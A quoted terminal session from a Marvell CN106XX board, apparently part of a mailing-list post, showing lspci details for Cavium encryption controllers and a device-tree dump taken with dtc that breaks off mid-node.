> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 4, Total VFs: 4, Number of VFs: 4, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fa
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:20:00.0 Encryption controller: Cavium, Inc. Device a0f2 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 85f200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fd840000 (32-bit, non-prefetchable) [size=8M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=195 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0005]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 64, Total VFs: 64, Number of VFs: 64, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f3
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> root@localhost:~#
> root@localhost:~#
> root@localhost:~#
> (failed reverse-i-search)`dtc': cat /sys/kernel/^Cbug/cn10k/pan/route
> (failed reverse-i-search)`dtc': cat /sys/kernel/^Cbug/cn10k/pan/route
> root@localhost:~#
> root@localhost:~#
> root@localhost:~#
> root@localhost:~# screen-256color^C
> root@localhost:~# dtc -I fs -O dts /proc/device-tree
> Warning (reg_format): "reg" property in /soc@0/spi@804000000000/flash@0 has invalid length (4 bytes) (#address-cells == 2, #size-cells == 2)
> Warning (reg_format): "reg" property in /soc@0/spi@805000000000/flash@0 has invalid length (4 bytes) (#address-cells == 2, #size-cells == 2)
> Warning (reg_format): "reg" property in /memory@0/msc@0x87e1c3240000 has invalid length (16 bytes) (#address-cells == 2, #size-cells == 1)
> Warning (reg_format): "reg" property in /memory@0/msc@0x87e1c0240000 has invalid length (16 bytes) (#address-cells == 2, #size-cells == 1)
> Warning (reg_format): "reg" property in /memory@0/msc@0x87e1c4240000 has invalid length (16 bytes) (#address-cells == 2, #size-cells == 1)
> Warning (reg_format): "reg" property in /memory@0/msc@0x87e1c1240000 has invalid length (16 bytes) (#address-cells == 2, #size-cells == 1)
> Warning (reg_format): "reg" property in /memory@0/msc@0x87e1c5240000 has invalid length (16 bytes) (#address-cells == 2, #size-cells == 1)
> Warning (reg_format): "reg" property in /memory@0/msc@0x87e1c2240000 has invalid length (16 bytes) (#address-cells == 2, #size-cells == 1)
> Warning (reg_format): "reg" property in /l3-cache/msc@0x87E053001000 has invalid length (16 bytes) (#address-cells == 2, #size-cells == 1)
> Warning (ranges_format): /memory@0 has empty "ranges" property but its #size-cells (1) differs from / (2)
> Warning (ranges_format): /l3-cache has empty "ranges" property but its #size-cells (1) differs from / (2)
> Warning (avoid_default_addr_size): Relying on default #address-cells value for /memory@0/msc@0x87e1c3240000
> Warning (avoid_default_addr_size): Relying on default #size-cells value for /memory@0/msc@0x87e1c3240000
> Warning (avoid_default_addr_size): Relying on default #address-cells value for /memory@0/msc@0x87e1c0240000
> Warning (avoid_default_addr_size): Relying on default #size-cells value for /memory@0/msc@0x87e1c0240000
> Warning (avoid_default_addr_size): Relying on default #address-cells value for /memory@0/msc@0x87e1c4240000
> Warning (avoid_default_addr_size): Relying on default #size-cells value for /memory@0/msc@0x87e1c4240000
> Warning (avoid_default_addr_size): Relying on default #address-cells value for /memory@0/msc@0x87e1c1240000
> Warning (avoid_default_addr_size): Relying on default #size-cells value for /memory@0/msc@0x87e1c1240000
> Warning (avoid_default_addr_size): Relying on default #address-cells value for /memory@0/msc@0x87e1c5240000
> Warning (avoid_default_addr_size): Relying on default #size-cells value for /memory@0/msc@0x87e1c5240000
> Warning (avoid_default_addr_size): Relying on default #address-cells value for /memory@0/msc@0x87e1c2240000
> Warning (avoid_default_addr_size): Relying on default #size-cells value for /memory@0/msc@0x87e1c2240000
> Warning (avoid_default_addr_size): Relying on default #address-cells value for /l3-cache/msc@0x87E053001000
> Warning (avoid_default_addr_size): Relying on default #size-cells value for /l3-cache/msc@0x87E053001000
> /dts-v1/;
>
> / {
> #address-cells = <0x2>;
> model = "Marvell CN106XX board";
> serial-number = "WA-CN106-A1-PCIE-2P100-R2-142";
> #size-cells = <0x2>;
> interrupt-parent = <0x1>;
> compatible = "marvell,cn10ka";
>
> soc@0 {
> #address-cells = <0x2>;
> #size-cells = <0x2>;
> sdk-version = "SDK12";
> runplatform = "HW_PLATFORM";
> compatible = "simple-bus";
> ranges;
> reg = <0x0 0x0 0x0 0x0>;
> phandle = <0xf6>;
> chiprevision = "B0";
> numa-node-id = <0x0>;
>
> ddrcpmu2 {
> marvell,ddr-speed = <0xc80>;
> compatible = "marvell,cn10k-ddr-pmu";
> reg = <0x87e1 0xc2000000 0x0 0x10000>;
> };
>
> ap_cti8@87a090010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xa>;
> arm,cs-dev-assoc = <0x77>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x90010000 0x0 0x1000>;
> };
>
> etf_cti2@87a004220000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4220000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x54>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> pmpcsr10@87a095020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xc>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x95020000 0x0 0x1000>;
> };
>
> pmpcsr15@87a09f020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x11>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x9f020000 0x0 0x1000>;
> };
>
> ap_cti3@87a086010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x5>;
> arm,cs-dev-assoc = <0x59>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x86010000 0x0 0x1000>;
> };
>
> etf1@87a004110000 {
> clock-names = "apb_pclk";
> memory-region = <0x4a>;
> clocks = <0x36>;
> cpu = <0x3>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4110000 0x0 0x1000>;
> phandle = <0x4e>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x4b>;
> phandle = <0x49>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x4c>;
> phandle = <0xd5>;
> };
> };
> };
> };
>
> etf_cti23@87a005720000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x5720000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0xd2>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ete15 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x11>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0xa1>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x9d>;
> phandle = <0x9f>;
> };
> };
> };
> };
>
> sh_etf@87a100050000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> reg = <0x87a1 0x50000 0x0 0x1000>;
>
> in-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xec>;
> phandle = <0xd3>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xed>;
> phandle = <0xef>;
> };
> };
> };
> };
>
> ete0 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x2>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x47>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x43>;
> phandle = <0x45>;
> };
> };
> };
> };
>
> ap_cti22@87a0ac010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x18>;
> arm,cs-dev-assoc = <0xcb>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0xac010000 0x0 0x1000>;
> };
>
> pmpcsr18@87a0a5020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x14>;
> compatible = "arm,primecell";
> reg = <0x87a0 0xa5020000 0x0 0x1000>;
> };
>
> serial@87e028000000 {
> clock-names = "apb_pclk";
> interrupts = <0x0 0x0 0x4>;
> clocks = <0x34>;
> skip-init;
> compatible = "arm,pl011", "arm,primecell";
> reg = <0x87e0 0x28000000 0x0 0x1000>;
> phandle = <0xf8>;
> };
>
> sdei-ghes {
> #address-cells = <0x2>;
> memory-region = <0x41>;
> #size-cells = <0x1>;
> compatible = "marvell,sdei-ghes";
> ranges = <0x0 0x0 0x9 0xfbf00000 0x400 0x0 0x400 0x9 0xfbf00400 0x6c00 0x0 0x7000 0x9 0xfbf07000 0xf9000>;
>
> core9 {
> event-id = <0x4000000c>;
> reg = <0x0 0x60 0x8 0x0 0x1000 0xfa 0x0 0x17800 0x1600>;
> };
>
> core21 {
> event-id = <0x40000018>;
> reg = <0x0 0xc0 0x8 0x0 0x1c00 0xfa 0x0 0x28000 0x1600>;
> };
>
> dss {
> event-id = <0x40000001>;
> reg = <0x0 0x8 0x8 0x0 0x500 0xfa 0x0 0x8600 0x1600>;
> };
>
> core11 {
> event-id = <0x4000000e>;
> reg = <0x0 0x70 0x8 0x0 0x1200 0xfa 0x0 0x1a400 0x1600>;
> };
>
> core7 {
> event-id = <0x4000000a>;
> reg = <0x0 0x50 0x8 0x0 0xe00 0xfa 0x0 0x14c00 0x1600>;
> };
>
> core5 {
> event-id = <0x40000008>;
> reg = <0x0 0x40 0x8 0x0 0xc00 0xfa 0x0 0x12000 0x1600>;
> };
>
> core18 {
> event-id = <0x40000015>;
> reg = <0x0 0xa8 0x8 0x0 0x1900 0xfa 0x0 0x23e00 0x1600>;
> };
>
> core3 {
> event-id = <0x40000006>;
> reg = <0x0 0x30 0x8 0x0 0xa00 0xfa 0x0 0xf400 0x1600>;
> };
>
> core16 {
> event-id = <0x40000013>;
> reg = <0x0 0x98 0x8 0x0 0x1700 0xfa 0x0 0x21200 0x1600>;
> };
>
> gic {
> event-id = <0x4000001b>;
> reg = <0x0 0xd8 0x8 0x0 0x1f00 0xfa 0x0 0x2c200 0x1600>;
> };
>
> core1 {
> event-id = <0x40000004>;
> reg = <0x0 0x20 0x8 0x0 0x800 0xfa 0x0 0xc800 0x1600>;
> };
>
> core14 {
> event-id = <0x40000011>;
> reg = <0x0 0x88 0x8 0x0 0x1500 0xfa 0x0 0x1e600 0x1600>;
> };
>
> core22 {
> event-id = <0x40000019>;
> reg = <0x0 0xc8 0x8 0x0 0x1d00 0xfa 0x0 0x29600 0x1600>;
> };
>
> core12 {
> event-id = <0x4000000f>;
> reg = <0x0 0x78 0x8 0x0 0x1300 0xfa 0x0 0x1ba00 0x1600>;
> };
>
> core8 {
> event-id = <0x4000000b>;
> reg = <0x0 0x58 0x8 0x0 0xf00 0xfa 0x0 0x16200 0x1600>;
> };
>
> core20 {
> event-id = <0x40000017>;
> reg = <0x0 0xb8 0x8 0x0 0x1b00 0xfa 0x0 0x26a00 0x1600>;
> };
>
> core10 {
> event-id = <0x4000000d>;
> reg = <0x0 0x68 0x8 0x0 0x1100 0xfa 0x0 0x18e00 0x1600>;
> };
>
> mdc {
> event-id = <0x40000000>;
> reg = <0x0 0x0 0x8 0x0 0x400 0xfa 0x0 0x7000 0x1600>;
> };
>
> core6 {
> event-id = <0x40000009>;
> reg = <0x0 0x48 0x8 0x0 0xd00 0xfa 0x0 0x13600 0x1600>;
> };
>
> core19 {
> event-id = <0x40000016>;
> reg = <0x0 0xb0 0x8 0x0 0x1a00 0xfa 0x0 0x25400 0x1600>;
> };
>
> core4 {
> event-id = <0x40000007>;
> reg = <0x0 0x38 0x8 0x0 0xb00 0xfa 0x0 0x10a00 0x1600>;
> };
>
> core17 {
> event-id = <0x40000014>;
> reg = <0x0 0xa0 0x8 0x0 0x1800 0xfa 0x0 0x22800 0x1600>;
> };
>
> core2 {
> event-id = <0x40000005>;
> reg = <0x0 0x28 0x8 0x0 0x900 0xfa 0x0 0xde00 0x1600>;
> };
>
> tad {
> event-id = <0x40000002>;
> reg = <0x0 0x10 0x8 0x0 0x600 0xfa 0x0 0x9c00 0x1600>;
> };
>
> core15 {
> event-id = <0x40000012>;
> reg = <0x0 0x90 0x8 0x0 0x1600 0xfa 0x0 0x1fc00 0x1600>;
> };
>
> core23 {
> event-id = <0x4000001a>;
> reg = <0x0 0xd0 0x8 0x0 0x1e00 0xfa 0x0 0x2ac00 0x1600>;
> };
>
> core0 {
> event-id = <0x40000003>;
> reg = <0x0 0x18 0x8 0x0 0x700 0xfa 0x0 0xb200 0x1600>;
> };
>
> core13 {
> event-id = <0x40000010>;
> reg = <0x0 0x80 0x8 0x0 0x1400 0xfa 0x0 0x1d000 0x1600>;
> };
> };
>
> ddrcpmu0 {
> marvell,ddr-speed = <0xc80>;
> compatible = "marvell,cn10k-ddr-pmu";
> reg = <0x87e1 0xc0000000 0x0 0x10000>;
> };
>
> sclk {
> clock-output-names = "sclk";
> #clock-cells = <0x0>;
> clock-frequency = <0x3b9aca00>;
> compatible = "fixed-clock";
> phandle = <0x36>;
> };
>
> sram@26,0 {
> #address-cells = <0x2>;
> #size-cells = <0x1>;
> compatible = "cpc-sram";
> ranges = <0x0 0x0 0x86d0 0xfc000 0x200>;
> reg = <0x86d0 0xfc000 0x0 0x200>;
>
> scp-shmem@0 {
> compatible = "arm,scmi-shmem";
> reg = <0x0 0x0 0x200>;
> phandle = <0xf2>;
> };
> };
>
> etf_cti9@87a004920000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4920000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x7e>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> etf_cti19@87a005320000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x5320000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0xba>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ete23 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x19>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0xd1>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xcd>;
> phandle = <0xcf>;
> };
> };
> };
> };
>
> pmpcsr20@87a0a9020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x16>;
> compatible = "arm,primecell";
> reg = <0x87a0 0xa9020000 0x0 0x1000>;
> };
>
> etf_cti15@87a004f20000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4f20000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0xa2>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ete9 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xb>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x7d>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x79>;
> phandle = <0x7b>;
> };
> };
> };
> };
>
> etf8@87a004810000 {
> clock-names = "apb_pclk";
> memory-region = <0x74>;
> clocks = <0x36>;
> cpu = <0xa>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4810000 0x0 0x1000>;
> phandle = <0x78>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x75>;
> phandle = <0x73>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x76>;
> phandle = <0xdc>;
> };
> };
> };
> };
>
> watch-dog@8020000a0000 {
> clock-names = "ref_clk";
> interrupts = <0x0 0x8 0x4>;
> clocks = <0x36>;
> compatible = "arm,sbsa-gwdt";
> reg = <0x8020 0xa0000 0x0 0x1000 0x8020 0xb0000 0x0 0x1000>;
> };
>
> smmupmcg3@830000160000 {
> compatible = "cavium,smmu-pmu-v3", "arm,smmu-pmu-v3", "arm,smmu-v3-pmcg";
> reg = <0x8300 0x160000 0x0 0x1000 0x8300 0x170000 0x0 0x1000>;
> msi-parent = <0x37 0x1c>;
> };
>
> ete13 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xf>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x95>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x91>;
> phandle = <0x93>;
> };
> };
> };
> };
>
> serial@87e02d000000 {
> clock-names = "apb_pclk";
> interrupts = <0x0 0x5 0x4>;
> clocks = <0x34>;
> skip-init;
> compatible = "arm,pl011", "arm,primecell";
> reg = <0x87e0 0x2d000000 0x0 0x1000>;
> phandle = <0x137>;
> };
>
> bed-bert {
> #address-cells = <0x2>;
> memory-region = <0x42>;
> #size-cells = <0x2>;
> compatible = "marvell,bed-bert";
> ranges = <0x0 0x0 0x9 0xf7afe000 0x0 0x2000 0x0 0x0 0x9 0xf7afe000 0x0 0x2000 0x0 0x0 0x9 0xf7afe000 0x0 0x2000>;
>
> bert {
> reg = <0x0 0x0 0x0 0x800 0x0 0x800 0x0 0x1800 0x0 0x0 0x0 0x0>;
> };
> };
>
> etf_cti3@87a004320000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4320000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x5a>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> pmpcsr14@87a09d020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x10>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x9d020000 0x0 0x1000>;
> };
>
> etf10@87a004a10000 {
> clock-names = "apb_pclk";
> memory-region = <0x80>;
> clocks = <0x36>;
> cpu = <0xc>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4a10000 0x0 0x1000>;
> phandle = <0x84>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x81>;
> phandle = <0x7f>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x82>;
> phandle = <0xde>;
> };
> };
> };
> };
>
> ap_cti2@87a084010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x4>;
> arm,cs-dev-assoc = <0x53>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x84010000 0x0 0x1000>;
> };
>
> st_funnel {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> compatible = "arm,coresight-static-funnel";
>
> in-ports {
> #address-cells = <0x1>;
> #size-cells = <0x0>;
>
> port@0 {
> reg = <0x0>;
>
> endpoint {
> remote-endpoint = <0xd4>;
> phandle = <0x46>;
> };
> };
>
> port@14 {
> reg = <0x14>;
>
> endpoint {
> remote-endpoint = <0xe8>;
> phandle = <0xbe>;
> };
> };
>
> port@9 {
> reg = <0x9>;
>
> endpoint {
> remote-endpoint = <0xdd>;
> phandle = <0x7c>;
> };
> };
>
> port@12 {
> reg = <0x12>;
>
> endpoint {
> remote-endpoint = <0xe6>;
> phandle = <0xb2>;
> };
> };
>
> port@7 {
> reg = <0x7>;
>
> endpoint {
> remote-endpoint = <0xdb>;
> phandle = <0x70>;
> };
> };
>
> port@e {
> reg = <0xe>;
>
> endpoint {
> remote-endpoint = <0xe2>;
> phandle = <0x9a>;
> };
> };
>
> port@10 {
> reg = <0x10>;
>
> endpoint {
> remote-endpoint = <0xe4>;
> phandle = <0xa6>;
> };
> };
>
> port@5 {
> reg = <0x5>;
>
> endpoint {
> remote-endpoint = <0xd9>;
> phandle = <0x64>;
> };
> };
>
> port@c {
> reg = <0xc>;
>
> endpoint {
> remote-endpoint = <0xe0>;
> phandle = <0x8e>;
> };
> };
>
> port@3 {
> reg = <0x3>;
>
> endpoint {
> remote-endpoint = <0xd7>;
> phandle = <0x58>;
> };
> };
>
> port@a {
> reg = <0xa>;
>
> endpoint {
> remote-endpoint = <0xde>;
> phandle = <0x82>;
> };
> };
>
> port@17 {
> reg = <0x17>;
>
> endpoint {
> remote-endpoint = <0xeb>;
> phandle = <0xd0>;
> };
> };
>
> port@1 {
> reg = <0x1>;
>
> endpoint {
> remote-endpoint = <0xd5>;
> phandle = <0x4c>;
> };
> };
>
> port@15 {
> reg = <0x15>;
>
> endpoint {
> remote-endpoint = <0xe9>;
> phandle = <0xc4>;
> };
> };
>
> port@13 {
> reg = <0x13>;
>
> endpoint {
> remote-endpoint = <0xe7>;
> phandle = <0xb8>;
> };
> };
>
> port@8 {
> reg = <0x8>;
>
> endpoint {
> remote-endpoint = <0xdc>;
> phandle = <0x76>;
> };
> };
>
> port@f {
> reg = <0xf>;
>
> endpoint {
> remote-endpoint = <0xe3>;
> phandle = <0xa0>;
> };
> };
>
> port@11 {
> reg = <0x11>;
>
> endpoint {
> remote-endpoint = <0xe5>;
> phandle = <0xac>;
> };
> };
>
> port@6 {
> reg = <0x6>;
>
> endpoint {
> remote-endpoint = <0xda>;
> phandle = <0x6a>;
> };
> };
>
> port@d {
> reg = <0xd>;
>
> endpoint {
> remote-endpoint = <0xe1>;
> phandle = <0x94>;
> };
> };
>
> port@4 {
> reg = <0x4>;
>
> endpoint {
> remote-endpoint = <0xd8>;
> phandle = <0x5e>;
> };
> };
>
> port@b {
> reg = <0xb>;
>
> endpoint {
> remote-endpoint = <0xdf>;
> phandle = <0x88>;
> };
> };
>
> port@2 {
> reg = <0x2>;
>
> endpoint {
> remote-endpoint = <0xd6>;
> phandle = <0x52>;
> };
> };
>
> port@16 {
> reg = <0x16>;
>
> endpoint {
> remote-endpoint = <0xea>;
> phandle = <0xca>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xd3>;
> phandle = <0xec>;
> };
> };
> };
> };
>
> smmu@830000000000 {
> dma-coherent;
> #iommu-cells = <0x1>;
> compatible = "cavium,smmu-v3", "arm,smmu-v3";
> reg = <0x8300 0x0 0x0 0x20000>;
> phandle = <0x39>;
> msi-parent = <0x37 0x18>;
> };
>
> refclkuaa {
> clock-output-names = "refclkuaa";
> #clock-cells = <0x0>;
> clock-frequency = <0xfe502a>;
> compatible = "fixed-clock";
> phandle = <0x34>;
> };
>
> ap_cti7@87a08e010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x9>;
> arm,cs-dev-assoc = <0x71>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x8e010000 0x0 0x1000>;
> };
>
> ap_cti21@87a0aa010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x17>;
> arm,cs-dev-assoc = <0xc5>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0xaa010000 0x0 0x1000>;
> };
>
> etf2@87a004210000 {
> clock-names = "apb_pclk";
> memory-region = <0x50>;
> clocks = <0x36>;
> cpu = <0x4>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4210000 0x0 0x1000>;
> phandle = <0x54>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x51>;
> phandle = <0x4f>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x52>;
> phandle = <0xd6>;
> };
> };
> };
> };
>
> pmpcsr17@87a0a3020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x13>;
> compatible = "arm,primecell";
> reg = <0x87a0 0xa3020000 0x0 0x1000>;
> };
>
> ete21 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x17>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0xc5>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xc1>;
> phandle = <0xc3>;
> };
> };
> };
> };
>
> ete7 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x9>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x71>;
>
> out-ports {
>
> port {
>
> endpoint {
